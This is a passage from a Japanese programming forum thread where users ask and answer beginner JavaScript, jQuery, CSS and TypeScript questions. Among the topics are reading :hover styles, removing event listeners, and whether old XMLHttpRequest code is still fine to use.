まあYoutubeでも広告見ないでコンテンツだけ見るのも普通にできるから
検出されても対処されるかどうかは運営次第
0783Name_Not_Found
垢版 |
2021/08/26(木) 13:22:24.12ID:???
広告見ないでコンテンツだけ見る方法のがむしろ知りたいw
0784Name_Not_Found
垢版 |
2021/08/26(木) 21:57:31.25ID:???
ublock Originみたいなアドブロッカー使う
詳細はググってくれ
0785Name_Not_Found
垢版 |
2021/08/26(木) 22:13:09.83ID:???
ES2015 以降は、var は使わない。
var は、バグるだけ

let, const の時代

Webpack, Babel。
Ruby on Rails でも、そう
0786Name_Not_Found
垢版 |
2021/08/27(金) 18:21:16.16ID:???
<input type="text" id="aaa" onkeyDown="test()">

function test(){
var str = document.getElementById("aaa").value;
alert(str);
}

このようにやって
入力した文字列を表示したいんだけど1つ前に入力した文字列が表示されてしまいます
どうすれば入力した文字を表示できますか?
0788Name_Not_Found
垢版 |
2021/08/28(土) 14:12:13.59ID:M9yJQx4l
jQueryの質問です。
各タグ内から数字テキストのみを抜き出して、それらを数値として合算(足し算)し、
その合計値をテキストで出力したいのですが、どのように書いたら良いでしょうか?

<div>hoge1</div>
<div>hoge2</div>
<div>hoge3</div>

→「6」と出力したいです。

宜しくお願いします(>_<)
0789Name_Not_Found
垢版 |
2021/08/28(土) 16:37:35.57ID:???
vanillaで

Array.from(document.querySelectorAll('div'))
.map(x=>Number(x.innerText.match(/[0-9]+/)))
.reduce((acc, curr)=>acc+curr);
0790Name_Not_Found
垢版 |
2021/08/28(土) 17:21:02.00ID:???
>>789
ありがとうございます!
でも
初心者すぎて結果の確認方法がわかりません・・・
cosole.log();やテキストなどでどうやって確認したらよいのでしょうか。。。
0791790
垢版 |
2021/08/28(土) 17:26:41.82ID:???
すいません、変数宣言したらconsole.logで確認できました
>>789
ありがとうございます_(._.)_


jQueryでもわかる方いらっしゃると助かります。。
試したこと
.map() →文字列扱いされてしまい合計できない。
0792Name_Not_Found
垢版 |
2021/08/28(土) 18:39:11.22ID:???
横からだけど勉強になります。
>>791
jQueryはしらないけどFirefoxで単純なサイトを開いてコンソールにそれを入れれば
いけましたね
0793Name_Not_Found
垢版 |
2021/08/28(土) 19:43:44.73ID:???
>>791
配列とjQueryオブジェクトのmapは全く別物
let sum = 0;
$("div").each(function() { sum += Number($(this).text().match(/[0-9]+/)) });
0794Name_Not_Found
垢版 |
2021/08/28(土) 20:29:35.08ID:???
>>793
ありがとうございます!
ただ、やはり結果の出力方法がわからないのですが、、

let sum = 0;
const total = $("div").each(function() { sum += Number($(this).text().match(/[0-9]+/)) });
console.log(total);

k.fn.init(3) [div, div, div, prevObject: k.fn.init(1)]
となってしまうのですが「6」と出力するためにはどのようにしたらよいのでしょうか・・初心者質問ですみません
0795Name_Not_Found
垢版 |
2021/08/28(土) 20:32:15.32ID:???
totalはどこから出て来たんだよ
sumを出力しろ
0796Name_Not_Found
垢版 |
2021/08/28(土) 20:35:25.05ID:???
>>795
ぬお!できました。   お恥ずかしい。。
ありがとうございます!!!!
0797Name_Not_Found
垢版 |
2021/08/28(土) 20:47:59.34ID:???
加算代入 (+=)なんてものがあるとは・・・
0798Name_Not_Found
垢版 |
2021/08/28(土) 21:22:19.02ID:???
割って掛ける除乗算演算子と
掛けて割る乗除算演算子もあるぞ
a = 4 /* 2;
a = 4 */ 2;
console.log(a);
//=> 4
0799Name_Not_Found
垢版 |
2021/08/28(土) 21:33:12.98ID:???
Ruby など、たいていの言語に、複合代入演算子がある
0800Name_Not_Found
垢版 |
2021/08/28(土) 23:32:57.67ID:???
ありがたいスレです(>_<)
0802Name_Not_Found
垢版 |
2021/09/03(金) 21:02:01.45ID:???
ここでの質問なのかわからないですが
アナリティクスなどで、訪問者のiPhoneのバージョンがわかるようにしたり、集計ってできますか?
例えばiPhone12が○○アクセス、全体シェア○○%のように
0804Name_Not_Found
垢版 |
2021/09/03(金) 21:44:48.13ID:???
const $el = document.getElementById('hoge');
let func = () => {
console.log($el);
}
setInterval('func()',1000);

としたところ、$elはnullになってしまいます。

let func = () => {
const $el = document.getElementById('hoge');
console.log($el);
}
setInterval('func()',1000);

とすれば$elには値が入りますが、setIntervalを実行する度にconstをセットするのが
どうもスマートでないように思います

JSの作法的に正しくて、スマートに書こうと思ったら
どう改善したら良いでしょうか?
0806Name_Not_Found
垢版 |
2021/09/03(金) 21:56:16.09ID:???
>>804
setIntervalの気持ち悪い書き方を直すだけ
setInterval(func,1000);
0807Name_Not_Found
垢版 |
2021/09/03(金) 22:07:25.41ID:???
スマートな書き方を聞くやつはスマートじゃないの法則
0809Name_Not_Found
垢版 |
2021/09/07(火) 05:43:43.55ID:???
Firefox のコンソールで 0/-2 など 0を-xで割ると -0と出るのですが
プログラミングでは一般的なのでしょうか
0と出てきて欲しいんですが
0811Name_Not_Found
垢版 |
2021/09/07(火) 07:50:22.49ID:???
>>809
>プログラミングでは一般的なのでしょうか

そこそこ一般的
0812Name_Not_Found
垢版 |
2021/09/07(火) 09:51:01.19ID:???
ありがとうございます。
よく考えれば今回は-0でも問題ありませんでしたのでそのまま処理しました。
0814Name_Not_Found
垢版 |
2021/09/13(月) 12:36:49.23ID:???
<style>
#test{
filter:sepia(50%);
}
</style>

<ul id="test">
<li><img src="./img1.png"></li>
<li><img src="./img2.png"></li>
</ul>
<input type="button" value="クリック" オンクリック="aaa()">

<スクリプト>
function aaa(){
var elm_list = document.querySelectorAll("#test li");
elm.list[1].style.filter = "sepia(0%)";
elm_list[1].style.border="Solid 3px #0000ff";
}
</スクリプト>
セピアを0にして画像を元の色にしたいんだけど色が変わりません
borderの方は線が表示されたのでセレクタは正しいと思うけど
どうしてでしょうか?どうすれば元の色にできますか?
0815Name_Not_Found
垢版 |
2021/09/13(月) 13:31:13.85ID:???
elm.list になってるからでは
0817Name_Not_Found
垢版 |
2021/09/13(月) 14:28:45.90ID:???
ulに対してsepia(50%)設定してるのにliを0%にしたところで変わらんよ
見た目は子孫に影響するけど、プロパティ値は継承しないのでdisplayやopacityなんかと一緒で親の効果を上書きできるわけではないよ
#test li {
filter: sepia(50%);
}
0818Name_Not_Found
垢版 |
2021/09/13(月) 18:38:27.91ID:???
スコープみたいなものですか?
0820Name_Not_Found
垢版 |
2021/09/14(火) 13:43:26.00ID:???
特定の要素から特定のイベントのイベントリスナーを削除することは可能でしょうか?
関数への参照を保持していない状態です。

具体的にはwindow.addEventListener("storage",function(){〜})の形で登録されているようなものです。
ピンポイントで上記だけ削除するのが難しいようであれば、window要素に紐づくstorageイベント全てを一括削除という形でも問題ないです。
0821Name_Not_Found
垢版 |
2021/09/14(火) 19:34:00.52ID:???
chromeはできるかわからないけど
firefoxならublock originで
yahoo.co.jp##+js(aeld, storage,/functionの中身を正規表現で/)
でいけそうだけど
0822Name_Not_Found
垢版 |
2021/09/14(火) 20:32:24.79ID:???
>>820
要素のイベントを全て削除
elm.replaceWith(elm.cloneNode(true))
windowはアキラメロン
0823Name_Not_Found
垢版 |
2021/09/14(火) 22:56:39.52ID:???
イベント登録前に割り込めるならEventTarget.prototype.addEventListenerあたりをフックするとか
0824Name_Not_Found
垢版 |
2021/09/15(水) 11:19:42.58ID:???
addEventListenerをフックするのが一番現実的なんですかね?

しかし、要素に紐づくイベントリスナーや、管理している全てのイベントリスナーを出力するみたいな関数は存在しないんですね……
ありそうなものだけど、というか無いならどこでどうやって管理してるんだろう……
0826Name_Not_Found
垢版 |
2021/09/15(水) 12:45:18.50ID:???
>>825
自分で書く部分ならもちろんそうするんですが、Chromeの拡張で特定のページの邪魔な動作をシャットアウトしたいんですよね。
0827Name_Not_Found
垢版 |
2021/09/15(水) 16:46:22.85ID:???
X軸方向のスクロールを常に禁止にし、常にスクロールをゼロの位置にする事って可能でしょうか?
cssでスクロールバーを出さない方法はありますが、要素が自由に動いてしまうのでスクロールしてしまう事が多々あります
0828Name_Not_Found
垢版 |
2021/09/15(水) 17:55:31.30ID:???
>>822 に一票
クローンして差し替えることによりelmとその子孫のイベントリスナーが消え、その他の属性は残る
0829Name_Not_Found
垢版 |
2021/09/15(水) 19:03:27.68ID:???
スクレイピングすると地獄へ落ちるって本当ですか?
0830Name_Not_Found
垢版 |
2021/09/15(水) 19:21:25.96ID:???
>>826
キャプチャリングフェーズでstopPropagation
0831Name_Not_Found
垢版 |
2021/09/16(木) 12:37:19.77ID:???
#test li{
background:#0000ff;
}
#test li:hover{
background:#00ff00;
}
というcssがある場合hoverのbackgroundを取得したいんだけど
querySelectorAll("#test li:hover")とやっても取得できませんでした。
どうやればいいんですか?
0832Name_Not_Found
垢版 |
2021/09/16(木) 14:04:33.43ID:???
取得しようとした部分を書いて
0833Name_Not_Found
垢版 |
2021/09/16(木) 14:47:41.06ID:???
:hoverはquerySelectorAllで取得できません
ちなみにgetComputedStyle(element, ":hover")もできない
0834Name_Not_Found
垢版 |
2021/09/16(木) 15:15:39.66ID:???
どうやったらできるかを考えるのが、
あなたたちの仕事です
0835Name_Not_Found
垢版 |
2021/09/16(木) 15:27:53.95ID:???
hoverのプロパティ自体を見たければstyleエレメントを見ればいいんじゃないかな
いまカーソルがのってるかを見たいなら
mouseoverイベントか対象にtransition入れておいてtransitionのイベントを見ればいいんじゃないかな
0836Name_Not_Found
垢版 |
2021/09/16(木) 15:47:02.52ID:???
仕事と言われると対価が欲しくなる
0837Name_Not_Found
垢版 |
2021/09/16(木) 18:11:46.09ID:???
>>832
<ul id="test">
<li>aaa</li>
<li>bbb</li>
</ul>
var element_list = document.querySelectorAll("#test li:hover");
var st = getComputedStyle(element_list[0]);
var val = st.getPropertyValue("background");
alert(val);

こうやっても取得できなかった
他に方法はないんですかね
0839Name_Not_Found
垢版 |
2021/09/16(木) 18:36:24.59ID:???
クエリーセレクターにホバーは入れられないって言ってるだろ
0841Name_Not_Found
垢版 |
2021/09/16(木) 21:45:16.33ID:???
>>835
それは
var element = document.getElementById("test");
element.styleということですか?
0842Name_Not_Found
垢版 |
2021/09/17(金) 06:20:01.48ID:???
jQuery には、hover 時のイベントがあるけど
0843Name_Not_Found
垢版 |
2021/09/17(金) 09:12:27.75ID:???
>>841
>>835は意味不明
style要素といってるから、まずはstyle要素でスタイルを定義するところからなんじゃない?
0845Name_Not_Found
垢版 |
2021/09/17(金) 12:48:54.07ID:???
>>844
style要素だよな?
link要素で外部CSS定義していたら、style要素に書き換える必要がある
何のためにそんなことする?
内容からCSS記述をパースさせるのか?
0846Name_Not_Found
垢版 |
2021/09/17(金) 17:57:46.99ID:???
>>845
element.onmouseover = function(){
element.style.background = cssのhoverから取得したbackground;
}
というふうにしたかった
0847Name_Not_Found
垢版 |
2021/09/17(金) 19:02:09.68ID:???
>>846
それは「styleプロパティ」という
>>835は「styleエレメント」といっていたから意味不明だった
そして、styleプロパティでは>>831定義のCSSを取得出来ない
0848Name_Not_Found
垢版 |
2021/09/17(金) 19:23:45.68ID:???
>>Array.from(document.styleSheets).map(e=>Array.from(e.rules).map(e=>e.cssText).join()).join().includes(":hover")
←true
0850Name_Not_Found
垢版 |
2021/09/17(金) 19:44:13.42ID:???
取得できないって人がいたので
0851Name_Not_Found
垢版 |
2021/09/18(土) 00:07:10.94ID:???
F12 開発者ツールのコンソールで、実行した

style_sheets = document.styleSheets

css_rules = style_sheets[0].rules
css_rules[1].cssText

出力
'#test li:hover { background: rgb(0, 255, 0); }'
0853Name_Not_Found
垢版 |
2021/09/18(土) 00:49:33.72ID:???
そりゃdocument.styleSheetsで取得出来ないとは誰もいってないし
0854Name_Not_Found
垢版 |
2021/09/18(土) 03:30:32.64ID:???
見苦しい言い訳は不要
負けを認めるか、潔く退場するかの2択
0855Name_Not_Found
垢版 |
2021/09/18(土) 03:38:49.61ID:???
スクレイピングの勉強するのですが、下手するとF5アタックになるとかの法的リスクと回避法を重視している入門書ってありますか?
今の所やりたいことは、特定の市町村の5年分気温気象データを収集して自分用に加工
近所のコインランドリーの稼働データを集計して空いてる確率が高い時間帯を調べるの2つです
前者は膨大なデータを取得する必要があります
後者は10分から20分おきにアクセスすることになります
0856Name_Not_Found
垢版 |
2021/09/18(土) 03:42:43.76ID:???
リスクも回避方法もない
過去には問い合わせで許可を得た上で図書館のサーバーにスクレイピングをした人が捕まってる
0857Name_Not_Found
垢版 |
2021/09/18(土) 08:34:11.72ID:???
>>851
#test1 li:hover,#test2 li:hover{
background:#0000ff;
}
というような書き方の場合test1 li:hoverを取得できないやろ
0858Name_Not_Found
垢版 |
2021/09/18(土) 12:10:18.16ID:???
>>854
俺は>>838>>843,845,847だが、何も間違ったことはいってないつもり
どの辺が言い訳なのか教えてくれ
0859858
垢版 |
2021/09/18(土) 12:13:53.88ID:???
俺からすると>>844,846が言い訳
「styleエレメントを見ればいい」に突っ込み入れてるのに、頓珍漢な返答で困った
0860Name_Not_Found
垢版 |
2021/09/18(土) 13:44:08.68ID:???
結局言い回しに数レスかけて難癖付けたってだけの話ね
0861Name_Not_Found
垢版 |
2021/09/18(土) 14:07:39.14ID:???
結局、正答は>>838>>848だけ
他の回答はノイズでしかないでしょ
0862858
垢版 |
2021/09/18(土) 14:15:06.90ID:???
>>860
言い回しだけでなく、ミスリードだと思うんだが、お前に分かるなら教えてくれ

>>835
> hoverのプロパティ自体を見たければstyleエレメントを見ればいいんじゃないかな

「styleエレメント」の言い回しを修正したとして、hoverのプロパティをどうやって取得するんだ?
0864Name_Not_Found
垢版 |
2021/09/18(土) 14:29:33.65ID:???
>>862
また言い回しだね
プロパティ(の内容)ってなんで補完できないかな
0865Name_Not_Found
垢版 |
2021/09/18(土) 14:39:55.24ID:???
荒らしだからかまうのやめよう
0866858
垢版 |
2021/09/18(土) 17:10:43.28ID:???
>>864
いやだから、それでどうやって実装する?
0868Name_Not_Found
垢版 |
2021/09/18(土) 17:34:19.01ID:???
言い回しが悪ければ実装手段も示せない>>835の負けだな
言い訳が見苦しい
0869Name_Not_Found
垢版 |
2021/09/18(土) 18:17:58.16ID:???
頭のおかしい人に以下のようなことを言われました

>>基本、スクレイピングは営業妨害との戦い。
>>どの本にも、そう書いてある。
>>スクレイピングを推奨する本はない

具体的な書籍名を教えてください


>>5ch は、マルチポスト禁止!
>>同じ質問を、複数のスレや外部のサイトに書いてはいけない

どこでそんなルールが決まっているのでしょうか?
0873Name_Not_Found
垢版 |
2021/09/18(土) 19:25:19.77ID:???
関係ないと思ってるのは君でしょ
0875Name_Not_Found
垢版 |
2021/09/18(土) 19:40:47.74ID:???
横からだが、>>835>>848になるとは俺も読めんわ
どう解釈したらこのコードになるのかさっぱりわからん
0876Name_Not_Found
垢版 |
2021/09/18(土) 19:48:15.84ID:???
分かるが、こんな難解コード書くならループ書くわ

スタイルシートを回って、ルール回って、全部をテキストとして結合して、:hover が含まれてるか判定
0877Name_Not_Found
垢版 |
2021/09/18(土) 19:58:03.09ID:???
翻訳してみた

hoverのプロパティ自体を見たければstyleエレメントを見ればいいんじゃないかな
 ↓
:hover疑似クラスを見たければ、document.styleSheetsを見ればいいんじゃないかな

間違ってる部分は他の正しそうな単語に置換していけば、いずれは正解に辿り着く
質問者は変換作業を頑張れ
0878Name_Not_Found
垢版 |
2021/09/18(土) 20:10:37.55ID:???
styleエレメントをdocument.styleSheetsと読みかえるところがエスパー力高いな
0879Name_Not_Found
垢版 |
2021/09/18(土) 20:15:44.91ID:???
それって CSSの優先順位や詳細度に継承おまけにimportantやなんか考慮するととてつもなくややこしくなるんじゃ
0880Name_Not_Found
垢版 |
2021/09/18(土) 20:20:37.25ID:???
>>878
コードから文章を読み取るのは出来そうだが、コードがない状態で文章からコードを作るのはまず無理だろうな
0881Name_Not_Found
垢版 |
2021/09/18(土) 20:43:05.75ID:???
>>878
hoverのプロパティ自体とあるから中身をa.style以外からとろうとすれば
document.styleSheets[x]ぐらいしかとるとこなさそうだけど
0882Name_Not_Found
垢版 |
2021/09/18(土) 21:10:19.52ID:???
>>881
正解を知ってる俺達が文章を改竄するのは難しくない
だが、もしも俺が正解を知らない質問者なら、document.styleSheetsには辿りつけない
0883Name_Not_Found
垢版 |
2021/09/18(土) 21:40:40.43ID:???
a.style以外からとるんだなとわかればぐぐればすぐわかるわな
0884Name_Not_Found
垢版 |
2021/09/18(土) 21:43:50.66ID:???
みんなすげーな
エスパー力5の俺にはJavaScriptは無理だと思った
0885Name_Not_Found
垢版 |
2021/09/18(土) 21:47:21.87ID:???
質問者はstyleの定義まで知ってるのだから
たどりつけないことはないと思うけどなあ
0887Name_Not_Found
垢版 |
2021/09/18(土) 22:01:45.40ID:???
ググって解決する奴なら質問しないだろ
0888Name_Not_Found
垢版 |
2021/09/18(土) 22:06:32.59ID:???
0からググるのと
なにか入ってからググるのでは大違いだからな
0889Name_Not_Found
垢版 |
2021/09/18(土) 22:28:59.42ID:???
誤った単語でググらされる質問者は大変だな
0890Name_Not_Found
垢版 |
2021/09/19(日) 07:36:15.87ID:???
>>820なんですが、>>830の方法が今回やりたいことに一番適合してていい感じに止めたい処理止めれました
回答頂けた方々ありがとうございます
0892Name_Not_Found
垢版 |
2021/09/21(火) 10:40:12.17ID:dHsYsAG0
有名企業などのサイトのsourceを見てみると、大概見た事ない独自の?jsファイルが山盛りなんですけど、
あれってどういう事ですか?three.jsだとかそういうの直接使わないで組み替えたりするんですか?
あとなんであんなに山盛りscriptがあるのか、、読んでも全く勉強にならないしどう勉強したらいいかもわあからない、、
0893Name_Not_Found
垢版 |
2021/09/21(火) 12:47:33.17ID:???
>>892
そういうのを自分で調べないから
いつまでたっても理解できないんだよ
0894Name_Not_Found
垢版 |
2021/09/21(火) 13:04:03.49ID:???
一個一個ublockでブロックしていったら何をしているかわかるんじゃないの?
0895Name_Not_Found
垢版 |
2021/09/21(火) 14:50:15.10ID:???
具体例1個出してみりゃいいじゃん
0896Name_Not_Found
垢版 |
2021/09/21(火) 20:17:24.51ID:???
>>822
横からですが、子要素のイベントが残ってたら便利そうと思って試してみたらら
全部外されてしまいましたw
自作関数なら参照リレー渡しが無難ですね
0897Name_Not_Found
垢版 |
2021/09/24(金) 12:59:36.08ID:???
数学座標を画面座標に変換する関数はありますか?
あれば何を使えばいいんですか?
画面座標は左上が(0.0)で下方向に行くとがy座標が増加
数学座標は中心が(0,0)で下に行くとy座標がマイナスなので
これを画面座標に変換しないとちゃんと表示できないので
0898Name_Not_Found
垢版 |
2021/09/24(金) 15:10:19.06ID:???
足し算引き算掛け算の問題やな
0901Name_Not_Found
垢版 |
2021/09/24(金) 23:57:24.96ID:???
-単項演算子を(0 - x)と考えるか(-1 * x)と考えるか
0902Name_Not_Found
垢版 |
2021/09/25(土) 00:05:44.70ID:???
<div style="width:80%;height:500px;background:blue"></div>の
長方形の中心座標はどうやって求めればいいんですか?
長方形の左上を原点(0,0)とする。y座標は500/2=250ってすぐに出るけど
x座標が固定値じゃないのでわからん。
0903Name_Not_Found
垢版 |
2021/09/25(土) 00:25:09.14ID:???
要素のoffsetWidthの半分じゃだめなの?
0904Name_Not_Found
垢版 |
2021/09/25(土) 11:02:09.79ID:???
fixedで固定表示している要素を、一定量スクロールするとabsoluteにして、
JSでtopの座標を指定して、浮いている状態が解除されたように見せています。

この機能がAndroidのchromeだと、上スクロール時にだけ表示されるアドレスバーと
ツールバーによって、fixedからabsoluteに変わるスクロール量がずれてしまうようで、
意図しないタイミングで切り替わっています。
どうにか改善する方法はありませんでしょうか?
0905Name_Not_Found
垢版 |
2021/09/26(日) 00:40:51.66ID:???
javascriptからNode.jsで立てたサーバ内のsqliteファイルを操作する方法を知りたいです
検索するとNode.jsでしか使えないコマンドを使ったものしか見つかりません
0907Name_Not_Found
垢版 |
2021/09/26(日) 05:15:04.85ID:???
>>906
そうなのですが、サンプルコードに載ってるrequestがエラーを出力します
Node.jsだけで使える関数があるようで、単にjsファイルとして呼び出すだけではエラーを返されます
0908Name_Not_Found
垢版 |
2021/09/26(日) 11:45:24.92ID:???
node.jsがjavascriptだからと言ってもブラウザのスクリプトから直に操作はできない
サーバー側でデータベースを操作するためのwebインターフェースを作ってそれにあわせてfetchやwebsoketで対話
node以外のサーバーでのやり方と何も変わらない
0909Name_Not_Found
垢版 |
2021/09/26(日) 12:17:43.79ID:???
なんかすごいね
よくサーバー立てられたなと感心する
0910Name_Not_Found
垢版 |
2021/09/26(日) 12:38:45.55ID:???
でもnodeは失敗作だからな
0911Name_Not_Found
垢版 |
2021/09/26(日) 13:17:31.86ID:???
んなこと言ったら世の中に失敗作じゃないものなんてほとんど無い。
0912906
垢版 |
2021/09/26(日) 13:38:12.51ID:???
>>908
> node.jsがjavascriptだからと言ってもブラウザのスクリプトから直に操作はできない

そういう意味じゃなくて、「javascript(Node.js)からNode.jsで立てたサーバ内のsqliteファイルを操作する方法」は既に出来てる、と伝えたかった
JavaScriptの実行環境が本人の口から出てこないので結局、伝わらなかったが
0913Name_Not_Found
垢版 |
2021/09/26(日) 13:56:41.41ID:???
そもそも「Node.jsで立てたサーバ内のsqliteファイル」があり得ないよな
「Node.jsでサーバ(ソフト)を立てたサーバ(ハード。物理か論理か知らんが)内のsqliteファイル」という意味かな
0914Name_Not_Found
垢版 |
2021/09/26(日) 15:33:47.48ID:???
>>913
それ以外にどういう意味にとれるの?
0915Name_Not_Found
垢版 |
2021/09/26(日) 16:21:24.31ID:???
複数のNodeListを一つのNodeListとして変数に入れることは可能でしょうか?
Array.fromでArrayにしてからつなぐのが無難なんでしょうか
0918Name_Not_Found
垢版 |
2021/09/26(日) 21:14:21.89ID:???
どっちかというとdenoの方が失敗しそうだけどな。
0919Name_Not_Found
垢版 |
2021/09/26(日) 21:29:10.18ID:???
>>915
NodeListには自身の編集用メソッドがない
1つにまとめて何をしたいのかによるが、DOM APIを使うならDocumentFragmentにしておけば、大体は対応できる
0920Name_Not_Found
垢版 |
2021/09/26(日) 21:54:03.73ID:???
ありがとうございます
DocumentFragment勉強してきます
0921Name_Not_Found
垢版 |
2021/09/26(日) 23:04:14.95ID:???
>>892
例えば、Ruby on Rails では、Node.js, Webpack, Babel, Bootstrap などを使っているから、
プロジェクトを作るだけで、node_modules 以下に、数千ものJavaScript のモジュールが入る。
React, Vue.js を使えば、さらにそれ用のモジュールも入る

>>905
例えば、Ruby on Rails では、プロジェクトを作って、モデル(テーブル)を定義すれば、
3大データベース、sqlite, mysql, postgresql でアクセスできる

さらに、scaffold という魔法の呪文を唱えれば、最初から、CRUD 操作もできる

だから最初から、Railsのようなフレームワークを使えばよい。
サーバー側は、Rails一択。それ以外は使われていない。
Node.js も分かりにくいだけ

詳しくは、YouTube で有名な、雑食系エンジニア・KENTA のサロンで聞いて下さい
0923Name_Not_Found
垢版 |
2021/09/27(月) 20:14:13.13ID:???
playerHeight = $("#player").height()!;
const top = position!.top;
とあるサイトに 上記のような コードがあり "!" の意味が分かりません。
これってjqueryなどの特定ライブラリの書き方なのでしょうか
参考になるサイトがあれば教えていただきたいです。
0927Name_Not_Found
垢版 |
2021/09/28(火) 00:41:10.01ID:???
きっとそこで何かビックリすることがあったんじゃないかな
0929Name_Not_Found
垢版 |
2021/09/28(火) 16:28:09.66ID:???
TS は、Type Script

TypeScriptの変数の末尾の"!"(エクスクラメーション/感嘆符)の意味
https://qiita.com/zigenin/items/364264a6cf635b962542

この"!"の呼び方は、Non-null assertion operator

プログラマがコンパイラに対して、
この変数はundefinedやnullになることはありません、と教える記述

let a = f( ); // 戻り値の型は、string | undefined とする
return a! ;

ここで、f からの戻り値が、undefined, null ではないと、
プログラマーが絶対の確信が持てるのなら、

無理矢理、a! として、undefined, null になる可能性を除去して、
string型だけであると、コンパイラに教えることができる

このように、コンパイラを欺いたら、後で大きなしっぺ返しを食らうかも
0930Name_Not_Found
垢版 |
2021/09/28(火) 17:06:24.47ID:???
valueは値みたいなイメージで使うことが多いと思うのですが、valueの変わりにelementとしてる人を見かけます。
これってどう違うのでしょうか
0931Name_Not_Found
垢版 |
2021/09/28(火) 17:29:10.74ID:???
問答無用にElementのインスタンスだろうそれは、と
自分はvalueは数値くらいにしか使ってないな
文字列はxxStrとか、日付はxxDtとか
0932Name_Not_Found
垢版 |
2021/09/28(火) 21:20:19.11ID:???
>>930
さすがに書いた人に聞いてくれ、としか
>>923といい、エスパー案件ばかりなんだが、なぜ証拠となるコードも出さずに当てずっぽうの回答をさせるんだ?
0933Name_Not_Found
垢版 |
2021/09/28(火) 21:28:03.17ID:???
https://test.wikinist.info/?page_id=51

フィルタ作ってます。
MemとWomenにチェックが入ってる時はその中からフィルタしたいと思ってるんですがどうしたらいいでしょうか?
現状はチェックした奴が全て表示されます。
0934Name_Not_Found
垢版 |
2021/09/28(火) 21:43:21.46ID:???
>>933
複数条件でフィルタリングすると該当なしってのもあり得るけど
その場合どうなる仕様なの?何も表示なし?
0935Name_Not_Found
垢版 |
2021/09/28(火) 22:01:10.10ID:???
>>934
Menにチェックが入っていてWomenの値が入ってる人をチェックした場合は表示なしって感じにしたいです

最初はリターンをこんな感じで書いてましたが何も表示されませんでした。
return filterArr.find(element => ((element.el === item.values().name) || (element.el === item.values().city)) && (element.el === item.values().sex));
0936Name_Not_Found
垢版 |
2021/09/28(火) 22:36:39.81ID:???
雰囲気的にmen womenが両方チェックありと両方チェックなしの場合は同じ扱い?
実現したい仕様があやふやでよく分からんのだが
0937Name_Not_Found
垢版 |
2021/09/28(火) 22:42:03.80ID:???
>>933でコードが出たが、今度は要求仕様がエスパー案件になったな
0938Name_Not_Found
垢版 |
2021/09/28(火) 22:50:23.20ID:???
men womeonの両方がチェックと両方チェックなしは同じ扱いということにしたいと思ってます。
0939Name_Not_Found
垢版 |
2021/09/29(水) 00:15:54.08ID:???
小手先でどうにかならないか考えたけど結局汚くなった
sexだけ扱い違うのにname,cityと一律並べてる時点で無理があるぞ
https://jsfiddle.net/5zeorj9u/
0940Name_Not_Found
垢版 |
2021/09/29(水) 01:22:12.16ID:???
>>929
ありがとうございます。
わかりました。
0941Name_Not_Found
垢版 |
2021/09/29(水) 16:00:40.75ID:???
>>939
ありがとうございます。
最後の部分で何と何を&&で評価しているのかあまり理解できないのでconsole logで確認したいと思ってますが
1行のアロー演算子使ってる場合ってどうやって間にconsole logをいれたらいいのでしょうか?
0942Name_Not_Found
垢版 |
2021/09/29(水) 17:45:41.39ID:???
>>941
カンマ演算子で実現可能だけど無理やり1行にする意味は無い
0943Name_Not_Found
垢版 |
2021/10/01(金) 17:17:31.83ID:???
https://jsfiddle.net/raion2542/q10vxbde/14/
https://jsfiddle.net/raion2542/eoLtsd5b/8/

1つ目はlist.js 2つ目はTabulator.jsを使っています。
この2つを共存させることはできますでしょうか?
「〜でソート」を押してソートできるかどうかです

2つ目の方のJSの一番下に
const options = {
valueNames: ['name','corporation','callsign','frequency','power'],
};
const featureList = new List('sample-list', options);
を書き込みましたがうまくいきませんでした
0944Name_Not_Found
垢版 |
2021/10/01(金) 21:47:59.36ID:???
控え目に言って悪魔合体が過ぎる
0945Name_Not_Found
垢版 |
2021/10/02(土) 00:01:47.70ID:EfyxePPB
昔Ajaxというのが流行ったと思うのですが今も使われているんでしょうか?
あまり聞かない気がするのですが死語で名前が変わったりしました?
0946Name_Not_Found
垢版 |
2021/10/02(土) 00:12:15.95ID:???
>>945
今も使ってるとこでは使ってるけど、Fetch APIも結構こなれてきた
0947Name_Not_Found
垢版 |
2021/10/02(土) 00:14:53.87ID:???
jQueryのAPIに名前が残ってるけど
今の時代JSが通信するなんて当たり前なので一々ajaxとは呼ばない
0948Name_Not_Found
垢版 |
2021/10/02(土) 01:30:30.56ID:???
>>946-947
説明ありがとうございます。今はFetch API?というのを使うのですか?
授業でこれを使えと言われたのですが今もこのコード使っても問題ないでしょうか?

// ===== Ajaxのお約束オブジェクト作成================================
// [入力]
// ・なし
// [出力]
// ・成功時: XmlHttpRequestオブジェクト
// ・失敗時: false
function createXMLHttpRequest(){
 if(window.XMLHttpRequest){return new XMLHttpRequest()}
 if(window.ActiveXObject){
  try{return new ActiveXObject("Msxml2.XMLHTTP.6.0")}catch(e){}
  try{return new ActiveXObject("Msxml2.XMLHTTP.3.0")}catch(e){}
  try{return new ActiveXObject("Microsoft.XMLHTTP")}catch(e){}
 }
 return false;
}
    :
    :
 xhr = createXMLHttpRequest();
 if (xhr) {
  sUrl_to_get = sUrl_ajax;
  sUrl_to_get += '?zipcode='+sZipcode;
  sUrl_to_get += '&dummy='+parseInt((new Date)/1); //(*1)ブラウザcache対策

  xhr.open('GET', sUrl_to_get, true);
  xhr.onreadystatechange = function(){zip2addr_callback(xhr, sAjax_type)};
  xhr.send(null);
 } // *1: GETメソッド時はURL文字列に、POSTメソッド時はsendの文字列につける
0949Name_Not_Found
垢版 |
2021/10/02(土) 01:31:26.36ID:???
この本、2019 年8 月12 日初版発行らしいです。
0950Name_Not_Found
垢版 |
2021/10/02(土) 02:42:40.18ID:???
FetchではなくXMLHttpRequest使うにしても
もうIE6以下用のActiveX用の部分はいらんでしょ
0951Name_Not_Found
垢版 |
2021/10/02(土) 03:35:33.46ID:???
xhrにActiveX…
IE亡き令和の世では仕事にも個人サイトにも使えないと思うがお勉強にはなる…のかな?
0952Name_Not_Found
垢版 |
2021/10/02(土) 05:04:49.70ID:EfyxePPB
>>950-951

ソースコードはこれですねー
https://github.com/ShellShoccar-jpn/zip2addr/blob/master/public_html/zip2addr.js

この本に書かれていますー

初めてのPOSIX原理主義 超進化を遂げたシェルスクリプトを学ぶ15回の講義
https://richlab.org/coterie/lpf.html

金沢大学の講義「シェルスクリプト言語論」で教えてる内容ですー

JavaScriptライブラリを使うと、ブラウザの独自機能を使っている恐れがあって
将来動かなくなる恐れがあるから、jQueryもReactも使うな。自分でかけ。
たった数十行のコードで書けるって

こういうコードを書けと学生に教えてるんですー
他にもgitを使うな、ファイルコピーで管理しろとか教えてますー
0953Name_Not_Found
垢版 |
